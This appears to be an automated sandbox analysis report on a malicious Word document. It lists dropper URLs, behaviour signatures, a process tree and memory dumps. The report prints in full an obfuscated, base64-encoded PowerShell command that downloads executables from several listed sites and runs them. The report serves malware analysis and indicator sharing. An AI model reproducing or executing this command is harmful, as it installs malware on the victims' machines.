Analysis

  • max time kernel
    120s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    16/05/2024, 17:17

General

  • Target

    4c3048ca7ac33343bed1b143f5fe68cd_JaffaCakes118.doc

  • Size

    149KB

  • MD5

    4c3048ca7ac33343bed1b143f5fe68cd

  • SHA1

    6940a60ac87b700c11764c4d1bacd1aa91c06360

  • SHA256

    965d36b92a4dd5e5a95f80b3dafb1a46b066473ede1402accd12971705067fc1

  • SHA512

    2fc07cb91992e218d9fcd7b75b92d3444349dd90d6f37159627d8be9319ea2a68b65f667192b69f70400c8e32f04ea5f4ac3245a4a5c8cd228b045684fd58486

  • SSDEEP

    3072:cHzxfmNGf4Y1Kol0U3GaMEfffffffffJ9HJd4NtgIqSc:cHtfmNGfHKouHEfffffffffbpSNtgIHc

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://jpwoodfordco.com/admin/sDs/

exe.dropper

http://luzzeri.com/wp-includes/o9G/

exe.dropper

http://matadebenfica.com/permanente/u/

exe.dropper

https://hapyc.com/wp-content/s/

exe.dropper

https://zycccccc.top/wp-content/lx3/

exe.dropper

https://dezurve.sa/webmail/installer/mqi/

exe.dropper

http://swiftlogisticseg.com/wp-admin/7/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4c3048ca7ac33343bed1b143f5fe68cd_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2644
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:384
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABJAHIAeQBsAHkAaQBtAD0AKAAoACcARQBnACcAKwAnAG0AdQBhACcAKQArACcAaAB0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAUgBwAHIAbwBmAGkAbABFAFwAWQByAHoAUgBYAGMAeQBcAEkATwBxAEcAZQBBAHMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAHUAUgBJAHQAYABZAHAAcgBgAE8AdABvAGMAYABPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAJwArACcAMQAnACsAJwAyACwAJwArACgAJwAgAHQAbAAnACsAJwBzADEAMQAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEEAZABiAHgAdgBiADMAIAA9ACAAKAAoACcASAAnACsAJwBwAGEAJwArACcAdQBkAHMAJwApACsAJwAxACcAKQA7ACQASQA1AHEAYgBtAGQAZwA9ACgAKAAnAFAAJwArACcAMgBsACcAKQArACgAJwBlAG8AcgAnACsAJwBrACcAKQApADsAJABPAF8AZwAzAHAANABqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9AFkAJwArACgAJwByAHoAJwArACcAcgAnACkAKwAnAHgAYwB5AHsAMAB9AEkAbwBxAGcAZQAnACsAJwBhAHMAJwArACcAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAIAAgAFsAQwBIAGEAcgBdADkAMgApACsAJABBAGQAYgB4AHYAYgAzACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQARABzAGsAcgAyAGUAbgA9ACgAJwBXACcAKwAoACcAZwA3ACcAKwAnAHoAJwApACsAKAAnAF8AMAAnACsAJwBoACcAKQApADsAJABDAGwANABoAGwANgBhAD0AJgAoACcAbgBlACcAKwAnAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAdAAuAFcARQBCAEMAbABpAGUATgB0ADsAJABZAHEAcgBuAHkAYgA2AD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AJwArACcAagAnACsAJwBwAHcAbwBvAGQAJwApACsAKAAnAGYAJwArACcAbwAnACsAJwByAGQAYwBvAC4AJwArACcAYwBvAG0ALwBhAGQAbQBpACcAKQArACcAbgAnACsAKAAnAC8AcwAnACsAJwBEACcAKQArACgAJwBzAC8AJwArACcAKgBoACcAKQArACcAdAB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwBsACcAKQArACgAJwB1ACcAKwAnAHoAegAnACsAJwBlAHIAJwArACcAaQAuAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGkAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKQArACgAJwBvACcAKwAnADkARwAvACcAKwAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAbQBhAHQAYQAnACsAJwBkACcAKQArACgAJwBlAGIAJwArACcAZQBuACcAKQArACgAJwBmACcAKwAnAGkAYwBhAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACcALwBwACcAKwAoACcAZQByACcAKwAnAG0AYQBuAGUAbgAnACsAJwB0ACcAKQArACgAJwBlAC8AJwArACcAdQAnACkAKwAoACcALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwBoACcAKwAnAGEAJwApACsAKAAnAHAAeQBjACcAKwAnAC4AYwBvACcAKQArACgAJwBtACcAKwAnAC8AdwBwACcAKQArACgAJwAtAGMAbwBuAHQAJwArACcAZQBuAHQAJwArACcALwAnACsAJwBzAC8AJwArACcAKgBoAHQAdABwAHMAJwApACsAKAAnADoALwAvAHoAeQAnACsAJwBjACcAKwAnAGMAYwAnACkAKwAnAGMAJwArACcAYwAnACsAJwBjACcAKwAnAC4AdAAnACsAJwBvACcAKwAoACcAcAAvAHcAcAAnACsAJwAtACcAKQArACgAJwBjAG8AbgAnACsAJwB0ACcAKQArACcAZQBuACcAKwAnAHQALwAnACsAKAAnAGwAeAAzAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzADoALwAvAGQAJwApACsAKAAnAGUAegAnACsAJwB1AHIAdgBlAC4AJwArACcAcwBhACcAKQArACgAJwAvAHcAZQBiAG0AYQAnACsAJwBpAGwALwBpACcAKwAnAG4AJwArACcAcwAnACsAJwB0AGEAJwApACsAKAAnAGwAJwArACcAbABlAHIAJwApACsAKAAnAC8AbQBxACcAKwAnAGkALwAnACkAKwAnACoAJwArACcAaAAnACsAJwB0AHQAJwArACgAJwBwADoALwAvAHMAJwArACcAdwBpACcAKwAnAGYAJwArACcAdABsAG8AZwBpACcAKQArACcAcwAnACsAJwB0ACcAKwAoACcAaQAnACsAJwBjAHMAZQBnAC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGEAZABtACcAKwAnAGkAbgAvACcAKQArACcANwAnACsAJwAvACcAKQAuACIAcwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGcAXwA2ADQAbAA1AD0AKAAnAFoAbAAnACsAKAAnADAAagAnACsAJwA3AHAANwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEgAYwBuADAAYQAzADAAIABpAG4AIAAkAFkAcQByAG4AeQBiADYAKQB7AHQAcgB5AHsAJABDAGwANABoAGwANgBhAC4AIgBEAE8AYABXAG4ATABgAG8AYQBEAGYASQBsAEUAIgAoACQASABjAG4AMABhADMAMAAsACAAJABPAF8AZwAzAHAANABqACkAOwAkAEUAbABvAHYAaQBqADIAPQAoACcATQAnACsAJwBsACcAKwAoACcAZwAnACsAJwBnAGkAcwBiACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAE8AXwBnADMAcAA0AGoAKQAuACIAbABFAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgA1ADUAMAApACAAewAmACgAJwBJACcAKwAnAG4AdgAnACsAJwBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABPAF8AZwAzAHAANABqACkAOwAkAE0AbgBoAHMAcAA5ADYAPQAoACgAJwBFAHIAJwArACcAcQBmACcAKQArACcAZABqACcAKwAnAHAAJwApADsAYgByAGUAYQBrADsAJABCAHQAegB1AHcAdwBzAD0AKAAoACcAVABvAHIAZQB5ACcAKwAnADcAJwApACsAJwByACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQAxAHAAYwB5AG0AMgA9ACgAKAAnAE8AOAAnACsAJwBiADMAJwApACsAJwBsAGMAJwArACcAbgAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2384

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      d128619c000561b505f8e3a6c36e9f1b

      SHA1

      be6dd2fbc602e823e08bce0425626f5b956310a8

      SHA256

      a80ae13ff5337b588c130364f4e7108e634a7f83fd2649eea43d76a38ef830ad

      SHA512

      3ee378d4610fbbd6f9685bc679e8db29ccfee65ac3bf7a370b469dbccbea0723db1b42e6c6431ea11a81a4eb67874d559cb8b52f89d77c8de6c3438fd308726e

    • memory/2384-39-0x000000001B7A0000-0x000000001BA82000-memory.dmp

      Filesize

      2.9MB

    • memory/2384-40-0x0000000001E90000-0x0000000001E98000-memory.dmp

      Filesize

      32KB

    • memory/2644-12-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-26-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-11-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-8-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-9-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-10-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-17-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-22-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-20-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-19-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-18-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-15-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-16-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-14-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-13-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-0-0x000000002F281000-0x000000002F282000-memory.dmp

      Filesize

      4KB

    • memory/2644-7-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-21-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-27-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-25-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-24-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-23-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-32-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-30-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-31-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-29-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-33-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-6-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-2-0x0000000071A0D000-0x0000000071A18000-memory.dmp

      Filesize

      44KB

    • memory/2644-48-0x0000000071A0D000-0x0000000071A18000-memory.dmp

      Filesize

      44KB

    • memory/2644-49-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-51-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2644-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2644-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2644-68-0x0000000071A0D000-0x0000000071A18000-memory.dmp

      Filesize

      44KB